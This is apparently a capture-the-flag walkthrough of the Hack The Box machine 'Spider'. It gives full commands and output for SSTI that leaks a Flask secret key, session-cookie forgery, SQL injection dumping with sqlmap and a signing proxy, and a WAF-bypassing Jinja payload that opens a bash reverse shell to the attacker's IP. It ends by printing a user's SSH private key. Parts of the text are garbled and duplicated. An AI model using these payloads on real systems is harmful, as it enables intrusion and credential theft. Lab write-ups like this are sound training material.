



[SPIDER- BOX]

Hi folks, today I am going to solve a hard rated hack the box machine, spider created by InfosecJack and Chivato. So without any further intro, let's jump in.

common enumeration

Nmap

TCP over SSH

HTTP Default page

*Host 7.6p1 Ubuntu 4ubuntu0.3

code-Nmap

```
nmap -sC -sV -A -oN nmap.txt 10.10.10.243
```

output

```
(root@kali)-[/home/leshack98/project/HTB/spider]
# nmap -sC -sV -A -oN nmap.txt 10.10.10.243
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-21 10:15 EDT
Nmap scan report for 10.10.10.243
Host is up (0.72s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|_ 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp    open  http      nginx 1.14.0 (Ubuntu)
|_ _http-server-header: nginx/1.14.0 (Ubuntu)
|_ _http-title: Did not follow redirect to http://spider.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V 7.01%E 4KD 10/21%OT 22%CT 1%CU 40768%DV Y%DS 2%DC T%G Y%TM 617176
```

```
# Nmap 7.91 scan initiated Thu Oct 21 10:15:08 2021 as: nmap -sC -sV -A -oN
nmap.txt 10.10.10.243
```

```
Nmap scan report for 10.10.10.243
Host is up (0.72s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp    open  http      nginx 1.14.0 (Ubuntu)
|_ http-server-header: nginx/1.14.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://spider.htb/
No exact OS matches for host (If you know what OS is running on it, see
https://nmap.org/submit/ ).
```

Two ports are open:

port[22]-ssh

port[80]-http

in http-title - we do find a hostname:-<http://spider.htb>

Default Page

lets check the default page but first we need to add the hostname to `/etc/hosts` file and browse the page.

code-/etc/hosts

```
echo 10.10.10.243 spider.htb > /etc/hosts
```

<http://spider.htb>

![[[]]]

While i was checking at the templates , I found a username `chiv`

Amad
FURNITURE

HOME > FURNITURE > CHAIRS > CHAIR

HOME

CART

CHECKOUT

ADMIN



\$1337

Chair posted by user 'chiv'

★★★★★

● In Stock

This is a beautiful chair, finest quality, previously owned by Mitnick.

Then i decided to look for directories which are available in the site by doing `gobuster` to enumerate the directories

code -gobuster

```
gobuster dir -u http://spider.htb -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -k -o
gobusters
```

Output

```
(root@kali)-[/home/leshack98/project/HTB/spider]
# gobuster dir -u http://spider.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -k -o gobusters

=====
Gobuster v3.1.0                                     148.0.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://spider.htb                        1.0
[+] Method: GET
[+] Threads: 10 /home/leshack98/project
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404 /project
[+] User Agent: gobuster/3.1.0                    1.0
[+] Timeout: 10s
=====
2021/10/21 10:53:23 Starting gobuster in directory enumeration mode 1.0
=====
/login (Status: 200) [Size: 1832]
/index (Status: 200) [Size: 11273]
/register (Status: 200) [Size: 2130]
/user (Status: 302) [Size: 219] [→ http://spider.htb/login] 127.0.1.0
/logout (Status: 302) [Size: 209] [→ http://spider.htb/]
/cart (Status: 500) [Size: 290]
/checkout (Status: 500) [Size: 290] 127.0.1.0
```

```
=====
2021/10/21 10:53:23 Starting gobuster in directory enumeration mode
=====
/login (Status: 200) [Size: 1832]
/index (Status: 200) [Size: 11273]
/register (Status: 200) [Size: 2130]
/user (Status: 302) [Size: 219] [--> http://spider.htb/login]
/logout (Status: 302) [Size: 209] [--> http://spider.htb/]
/cart (Status: 500) [Size: 290]
/checkout (Status: 500) [Size: 290]
/view (Status: 302) [Size: 219] [--> http://spider.htb/login]
/main (Status: 302) [Size: 219] [--> http://spider.htb/login]
/product-details (Status: 308) [Size: 275] [--> http://spider.htb/product-
details/]

=====
2021/10/21 11:39:02 Finished
=====
```

First i register myself with random credentials:-<http://spider.htb/register>

Registration-panel

![[[]]]

After submitting this page the default login page appears with some weird thing-to which it specifies username us a `uuid` which is the uuid of the user

admin-login

spider.htb/login?uuid=dd9d0aed-726b-46ae-afca-a826b57e7ded

Kali Tools Kali Forums Kali Docs NetHunter Offensive Security

Admin login.

Username (UUID given at registration!)

dd9d0aed-726b-46ae-afca-a826b57e7c

Password

tush98

Submit

Zeta Products.

user as-les

Then after entering the password, i am in!

HOME

CART

CHECKOUT

ADMIN

USER INFORMATION

LOGOUT (LOGGED IN AS
LES)

%Discount%



From 1337

Chair



In the left side there is a button `user information` .Click that,

User information

Username

les

UUID

ed53fddf-3f4c-4879-8b19-2c0ba90d4e


Zeta Products.

This shows my `username` and corresponding `uuid` .My `username` is reflected here but i can not change the `username` at all .At this point,i am going to check for `SSTI` (Server Side Template Injection).


[Server Side Template Injection- is a vulnerability where the attacker injects malicious inputs into the template to execute commands on the server-side.This vulnerability occurs when invalid user inputs is embedded into the template engine which can generally lead to remote code execution (RCE)]

To do that let's register a new account with username as `{{8*5}}` and after logging in, we visit the `user information` to confirm that our payload has worked ;we see this:

user as-`{{8*5}}`



YES! it shows the result of the multiplication operation as `8*5=40`. So time to try some real injection. Maximum `username` length is restricted to 10 characters, which limits what we can do with the `SSTI vulnerability`.



What comes in mind is to try getting the configuration file using this payload `{{config}}` so that I can retrieve the configuration object of the application to which I will register a new username with `{{config}}`

user as-`{{config}}`

User Registration.

Username

{{config}}

Confirm username

{{config}}

Password

.....

Confirm password

.....

Zeta Products.

Submit

Registering an account with this `username` results in the following being displayed on the `user information`

config-retrived

User information

Username

<Config{'ENV': 'production', 'DEBUG': F.

UUID

dd9d0aed-726b-46ae-afca-a826b57e7c

Zeta Products.

Retrived configuration in the username field

```
<Config {'ENV': 'production',
'DEBUG': False,
'TESTING': False,
'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942',
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
'USE_X_SENDFILE': False,
'SERVER_NAME': None,
'APPLICATION_ROOT': '/',
'SESSION_COOKIE_NAME': 'session',
'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY': True,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'MAX_CONTENT_LENGTH': None,
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
'TRAP_BAD_REQUEST_ERRORS': None,
'TRAP_HTTP_EXCEPTIONS': False,
'EXPLAIN_TEMPLATE_LOADING': False,
```



```
'PREFERRED_URL_SCHEME': 'http',
'JSON_AS_ASCII': True,
'JSON_SORT_KEYS': True,
'JSONIFY_PRETTYPRINT_REGULAR': False,
'JSONIFY_MIMETYPE': 'application/json',
'TEMPLATES_AUTO_RELOAD': None,
'MAX_COOKIE_SIZE': 4093,
'RATELIMIT_ENABLED': True,
'RATELIMIT_DEFAULTS_PER_METHOD': False,
'RATELIMIT_SWALLOW_ERRORS': False,
'RATELIMIT_HEADERS_ENABLED': False,
'RATELIMIT_STORAGE_URL': 'memory://',
'RATELIMIT_STRATEGY': 'fixed-window',
'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset',
'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining',
'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit',
'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After',
'UPLOAD_FOLDER': 'static/uploads'
}>
```

I recognise a **Secret key** which can be used to sign session cookies. We read our current cookie from our browser developer tools and use the **base64** command to decode the first field:


code-decode

```
echo -n
eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjhiMWNmM2NkLTE3YjYtNDU1ZC1iMjY5LTUwYzd1ZTZhZWl0eWMyJ9
| base64 -d
```

```
(root@kali)-[/home/leshack98/project/HTB/spider]
# echo -n eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjhiMWNmM2NkLTE3YjYtNDU1ZC1iMjY5LTUwYzd1ZTZhZWl0eWMyJ9|base64 -d
{"cart_items": [], "uuid": "8b1cf3cd-17b6-455d-b269-50c7ee6aeb13"}

(root@kali)-[/home/leshack98/project/HTB/spider]
#
```

The session data object contains two fields, namely **cart_items** and **uuid**. When opening the page as a logged in user, we see that the username is displayed within a "logged in" message.



This does not appear to be vulnerable to SSTI, but we can attempt other types of injection; for example, assuming the `username` is retrieved from a `database` by querying the `uuid` `parameter` in our session cookie, we can test for `SQL injection`.


We add a simple `SQL injection payload` to our `uuid` and use the `flask-unsign` tool to sign a valid session cookie by providing the `secret key` recovered earlier: We first install `flask_unsign`:

code-flask_unsign


```
pip3 install flask_unsign
```

code-sign a valid cookie

```
flask-unsign --sign --cookie '{"cart_items\":[],\"uuid\":"71f57eec-d494-455a-9c8f-3398c67ed5c7' or 1=1 -- -\}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
```



After replacing our current `session cookie` with the one we just generated, we notice the username has changed:



This means we got confirmation that the `uuid parameter` is injectable, In order to be able to forge a `valid session cookie` for this user we would need the associated `uuid`, which we might be able to retrieve from the `database` through the same `SQL injection vulnerability` which depends on `UNION-BASED` payload. or [we write a simple proxy application that will get requests from sqlmap , forge and sign the corresponding cookies and relay requests to the remote server, returning the output to sqlmap for processing].

Database Dumping Using sqlmap

Method 1: `UNION-BASED`

To dump the database i have to call the `--eval` parameter in the `sqlmap` to manipulate the requests before sending them then feeds the `secret key` against the sqlmap

code-eval call

```
sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump
```

```
(root@kali)-[/home/leshack98/project/HTB/spider] → http://spider.htb/login
# sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --delay 1 --dump
37 2021/11/11 11:39:02 Finished
38 {1.5.7#stable}
39 http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER':
41
```

sqlmap prompt requires merge of the cookies do not merge the cookies because we have provided our cookie with `*` so that it can dump all the database session

Response:

The contents of `users` table in the `shop database` are returned:

```
Database: shop
Table: users
[3 entries]
+-----+-----+-----+-----+
| id | uuid | name | password |
+-----+-----+-----+-----+
| 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 |
| 2 | 9d61933d-5c24-4081-9b46-cdfea24f327d | {{8*5}} | les98 |
| 3 | 71f57eec-d494-455a-9c8f-3398c67ed5c7 | {{config}} | tULI98 |
+-----+-----+-----+-----+
```

```
Database: shop
Table: users
[3 entries]
+-----+-----+-----+-----+
| id | uuid | name | password |
+-----+-----+-----+-----+
| 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 |
| 2 | 9d61933d-5c24-4081-9b46-cdfea24f327d | {{8*5}} | les98 |
| 3 | 71f57eec-d494-455a-9c8f-3398c67ed5c7 | {{config}} | tULI98 |
+-----+-----+-----+-----+
```

And this leaks the `uuid` and password of our user `chiv`

intial Recon:

we can login in with credentials:

![[[]]]

Method 2:Proxy application middleware

We write a python script that will get request from the `sqlmap` forge and sign the cookies and relay it to the remote sever then returning the sqlmap to the server for processing.

code-python payload

```
#!/usr/bin/python3
from flask import *import requests
from flask.sessions import SecureCookieSessionInterface
import uuid

app = Flask(__name__)

app.secret_key = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route("/")
```

```
def index():
    uuid = request.args['uuid']
    data = {"uuid": uuid, "cart_items": []}
    cookie = session_serializer.dumps(data)
    cookies = {"session": cookie}
    r = requests.get("http://spider.htb/", cookies=cookies)
    return r.text

if __name__ == "__main__":
    app.run()
```

After running the above Flask application, we run `sqlmap` with the `--dump` option as follows, setting the injection on the `uuid parameter`:

code-sqlmap

```
sqlmap -u "http://127.0.0.1:80?uuid=71f57eec-d494-455a-9c8f-3398c67ed5c7" -p uuid
--
dump
```

The contents of `users table` in the `shop database` are returned:

```
Database: shop
Table: users
[3 entries]
+----+-----+-----+-----+
| id | uuid                                | name      | password          |
+----+-----+-----+-----+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv      | ch1VW4sHERE7331  |
| 2  | 9d61933d-5c24-4081-9b46-cdfea24f327d | {{8*5}}   | les98             |
| 3  | 71f57eec-d494-455a-9c8f-3398c67ed5c7 | {{config}} | tULI98            |
+----+-----+-----+-----+
```

Intial FootHold

Let's Login with the credentials or forge a valid cookie for `user` `chiv` to forge we use flask_usign and chiv `uuid` to crete a valid session:

code-cookie forge

```
flask-unsign --sign --cookie '{"cart_items":[],"uuid":"129f60ea-30cf-4065-afb9-6be45ad38b73"}' --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
```

```
(root@kali) - [/home/leshack98/project/HTB/spider]
# flask-unsign --sign --cookie '{"cart_items":[], "uuid": "129f60ea-30cf-4065-afb9-6be45ad38b73"}' --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
IntcImNhcnRfaXRlbXNcIjpbXSxcInVlaWRcIjpcIjEYOWY2MGVhLTMwY2YtNDA2NS1hZmI5LVxuNmJlNDVhZDM4YjczXCJ9Ig.YXqWRw.xRvi00hTF6IIxm7ZXsd3FXj8_pk

## Intial FootHold
Let's Login with the credential 2
```

After using the credentials from the sqlmap or replacing our session cookie and reloading the page, we are successfully logged in as **chiv**. We can now access the admin panel:

Welcome to the admin panel, chiv.

New message

Enter message

Submit

View messages

messages

View support

support

When clicking the messages button, the user's message board is displayed which has a fix on the support ticket

This is the messages board.

Current user: chiv

Staff of ID: '1' posted on: 2020-04-24 15:02:41

Fix the /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal portal!

Enumeration and Injecting

The <http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal> page contains a form for submitting **support tickets:**

spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

li Tools Kali Forums Kali Docs NetHunter Offensive Security MSFU Exploit-DB GHDB

Submit a support ticket!

Welcome to the support portal!

Contact number or email:

Message:

My dog ate my homework!

Submit

From this page we can post **support tickets** which will be displayed on the **view support page**. As was the case with the **username** earlier, since it was vulnerable to **SSTI**. I attempted to send a simple **SSTI test payload such as `{{8*5}}`** results in the following error:

Submit a support ticket!

Why would you need `'{'` or `'}'` in a contact value?

This suggests a **Web Application Firewall(WAF)** is in place and is responsible for blocking common **SSTI payloads**.

Then i decide to do a Wfuzz on <http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal> to discover other bad characters using the special char worldlist.

code-Wfuzz

```
wfuzz -H 'Cookie:
session=eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjEyOWY2MGVhLTMwY2YtNDA2NS1hZmI5LTZiZTQ1YWQz
-u spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal -d
'contact=FUZZ&message=Night' -w /usr/share/wordlists/SecLists/Fuzzing/special-
chars.txt -t 1 -s .5
```

```
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****
```

Target:


<http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal>

Total requests: 32

```
=====
ID           Response   Lines   Word      Chars      Payload
=====
```

000000001:	200	66 L	128 W	1565 Ch	"~"
000000002:	200	66 L	128 W	1565 Ch	"!"
000000003:	200	66 L	128 W	1565 Ch	"@"
000000004:	200	66 L	128 W	1565 Ch	"#"
000000005:	200	66 L	128 W	1565 Ch	"\$"
000000006:	200	66 L	128 W	1565 Ch	"%"
000000007:	200	66 L	128 W	1565 Ch	"^"
000000008:	200	66 L	129 W	1574 Ch	"&"
000000009:	200	66 L	128 W	1565 Ch	"*"
000000010:	200	66 L	128 W	1565 Ch	"("
000000011:	200	66 L	128 W	1565 Ch	")"
000000012:	200	66 L	128 W	1565 Ch	"_"
000000013:	200	66 L	139 W	1607 Ch	"_"
000000014:	200	66 L	128 W	1565 Ch	"+"
000000015:	200	66 L	128 W	1565 Ch	"="
000000016:	200	66 L	128 W	1565 Ch	"{"
000000017:	200	66 L	128 W	1565 Ch	"}"
000000018:	200	66 L	128 W	1565 Ch	"]"
000000019:	200	66 L	128 W	1565 Ch	"["
000000020:	200	66 L	128 W	1565 Ch	" "
000000021:	200	66 L	128 W	1565 Ch	"\"
000000022:	200	66 L	128 W	1565 Ch	"`"
000000023:	200	66 L	128 W	1565 Ch	","
000000024:	200	66 L	139 W	1607 Ch	"."
000000025:	200	66 L	128 W	1565 Ch	"/"
000000026:	200	66 L	128 W	1565 Ch	"?"
000000027:	200	66 L	128 W	1565 Ch	","
000000028:	200	66 L	128 W	1565 Ch	":"
000000029:	200	66 L	139 W	1607 Ch	"'"
000000030:	200	66 L	128 W	1565 Ch	"""
000000031:	200	66 L	128 W	1565 Ch	"<"
000000032:	200	66 L	128 W	1565 Ch	">"

As we can see the `1607 ch` shows other commonly used characters like `_ , ' '` which are blocked, which results in more explicit error messages:



The screenshot shows a web browser window with a dark header bar containing links to Kali Forums, Kali Docs, NetHunter, Offensive Security, MSFU, Exploit-DB, and GHDB. The main content area has a yellow background and displays the following:

Submit a support ticket!

Hmmm, you seem to have hit a our WAF with the following chars: `_ .`

Contact number or email:

Message:

My dog ate my homework!

Submit

Payload - Research,Error ,Trial and Defination

After doing some research i came up with a payload:

code-unrefined payload

```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\
'\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')
'\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')}}}
```

But the payload seem to have bad characters in it like the `'` and `{{}}` so i had to replace the `'` with the `"` and the `{{}}` with the single `{}` then add keyword `include` to which it is not blocked.The `_` char is written in the hex us `\x5f` to which `man ascii` confirms even in python3 when you print the hex `\x5f` it gives you

`_`

root@kali: /home/leshack98/project/HTB/spider ▾

037	31	1F	US (unit separator)	137	95	5F	ˆ
040	32	20	SPACE	140	96	60	ˆ
041	33	21	!	141	97	61	a
042	34	22	"	142	98	62	b
043	35	23	#	143	99	63	c
044	36	24	\$	144	100	64	d
045	37	25	%	145	101	65	e
046	38	26	&	146	102	66	f
047	39	27	'	147	103	67	g
050	40	28	(150	104	68	h
051	41	29)	151	105	69	i
052	42	2A	*	152	106	6A	j
053	43	2B	+	153	107	6B	k
054	44	2C	,	154	108	6C	l
055	45	2D	.	155	109	6D	m


```
(root@kali)-[/home/leshack98/project/HTB/spider]
# python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print("\x5f")
_
>>> 
```

code-working payload check

note:insert payload in the `contact=`

```
{% include
request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")|attr("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")|attr("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep 5")|attr("read")()%}
```


So after getting the payload i decide to test the payload by forcing it to `sleep fo 5 milliseconds` so as to test if the payload works and apparently the payload works which confirms `blind Remote Code Execution(RCE) via Server Side Template Injection(SSTI)`.



Since our payload looks fine so we have to adjust our payload to obtain a **reverse shell** using **base64** encoding to bypass WAF filters;

code-encoding reverse shell to base64

```
echo 'bash -i >& /dev/tcp/10.10.16.51/9001 0>&1' | base64 -w 0
```




The final payload looks us following;

code-final payload

```
{% include
request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")
("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")
("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41MS85MDAxIDA+JjEK | base64 -d |
bash")|attr("read")()%}
```

Then we paste our complete payload in contact .in burpsuite we have to url encode the **reverse shell payload** to filter out bad characters in the payload



Then we open an nc listener on port 9001

code-Listening

```
nc -lnvp 9001
```

After posting a support ticket with the above `SSTI payload` to the contact a `reverse shell` is sent back to our listener which was Listening on port 9001

```
1: root@kali: /home/leshack98/project/HTB/spider ▾
[leshack98@kali]~$ sudo su
[sudo] password for leshack98:
[leshack98@kali]~$ cd project
[leshack98@kali]~/project$ cd HTB
[leshack98@kali]~/project/HTB$ cd spider
[leshack98@kali]~/project/HTB/spider$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.10.243 38902
bash: cannot set terminal process group (1672): Inappropriate ioctl for device
bash: no job control in this shell
chiv@spider:/var/www/webapp$
```

Takeover

After getting the reverse shell we have to do some adjustment to our reverse shell to make it ready for using by doing a stty escalation to get an interactive shell:

code-stty

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
[ctrl] + z
stty raw -echo
fg [Enter] two times
```

Then setting the TERM so that you are able to clean the terminal:

```
export TERM=xterm
```

Having the shell as a regular user `chiv` we can find the `user.txt` on the `home` directory but we can also find a `.ssh directory`

```
1/2 + [ ]
1: leshack98@kali: ~
chiv@spider:/var/www/webapp$ cd ~
chiv@spider:~$ ls -la
total 40
drwxr-xr-x 6 chiv chiv 4096 May 18 00:23 .
drwxr-xr-x 3 root root 4096 May 6 11:42 ..
lrwxrwxrwx 1 root root 9 Apr 24 2020 .bash_history -> /dev/null
-rw-r--r-- 1 chiv chiv 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 chiv chiv 3771 Apr 4 2018 .bashrc
drwx----- 2 chiv chiv 4096 May 18 00:23 .cache
drwx----- 3 chiv chiv 4096 May 18 00:23 .gnupg
drwxrwxr-x 3 chiv chiv 4096 May 18 00:23 .local
-rw-r--r-- 1 chiv chiv 807 Apr 4 2018 .profile
drwx----- 2 chiv chiv 4096 May 6 11:42 .ssh
-r----- 1 chiv chiv 33 Oct 27 21:31 user.txt
chiv@spider:~$ cat user.txt

chiv@spider:~$
```

.ssh directory we can use the id_rsa to gain a rsa key which we can use it in gaining a fully interactive ssh shell


```
chiv@spider:~$ cd .ssh
chiv@spider:~/ssh$ ls -la
total 16
drwx----- 2 chiv chiv 4096 May  6 11:42 .
drwxr-xr-x  6 chiv chiv 4096 May 18 00:23 ..
-rw-r--r--  1 chiv chiv  393 May  4 15:42 authorized_keys
-rw-----  1 chiv chiv 1679 Apr 24 2020 id_rsa
chiv@spider:~/ssh$ cat id_rsa
```

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLSVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwd0/zrgxGdc0a7zq6zlnwYLY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGBEXcIW9oowFXD2ufo2WPXym0QIDAQABAOIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTDKqubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhFAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAYQU4NIIsKNnewIrk
54dW0w8lw0Xp2ndmo3Fd0fjm1SMNYtB5yvPR9enbu3wkX94fC/NS90qLLMzZfYFy
f0EMoUECgYEAxunI/9sNNJ6UaTLZTsn6Z8X/i4AKVfGUGw4sYzswWPC4oJTDDb62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0U0J1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaN0yJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fm001+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K10c0/hDtSSHSwI/PSN4C2DVy0ahrDcPkArf0mBF1ozcR90BAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqWl2EYa0tH4+40gkJ
mQRXp5yVQklB0tq5E55IrphKdNxLg6T8fR30IAKISDLJv3RwkZn1KgcU8d0l/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScIrRqqzINwmS+BD+80hy0o3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbymXD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLPwSEsD05L09yO
TTppoBhFUJqKnpa6eCPd+4iltr2JT4rwY4EK60fjWwrmZwAK7GnW45WftCBCJI6
```

-----BEGIN RSA PRIVATE KEY-----

```
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLSVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwd0/zrgxGdc0a7zq6zlnwYLY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGBEXcIW9oowFXD2ufo2WPXym0QIDAQABAOIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTDKqubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhFAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAYQU4NIIsKNnewIrk
54dW0w8lw0Xp2ndmo3Fd0fjm1SMNYtB5yvPR9enbu3wkX94fC/NS90qLLMzZfYFy
f0EMoUECgYEAxunI/9sNNJ6UaTLZTsn6Z8X/i4AKVfGUGw4sYzswWPC4oJTDDb62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0U0J1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaN0yJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fm001+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K10c0/hDtSSHSwI/PSN4C2DVy0ahrDcPkArf0mBF1ozcR90BAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqWl2EYa0tH4+40gkJ
mQRXp5yVQklB0tq5E55IrphKdNxLg6T8fR30IAKISDLJv3RwkZn1KgcU8d0l/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScIrRqqzINwmS+BD+80hy0o3lmhRcD8cFb
```

```
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
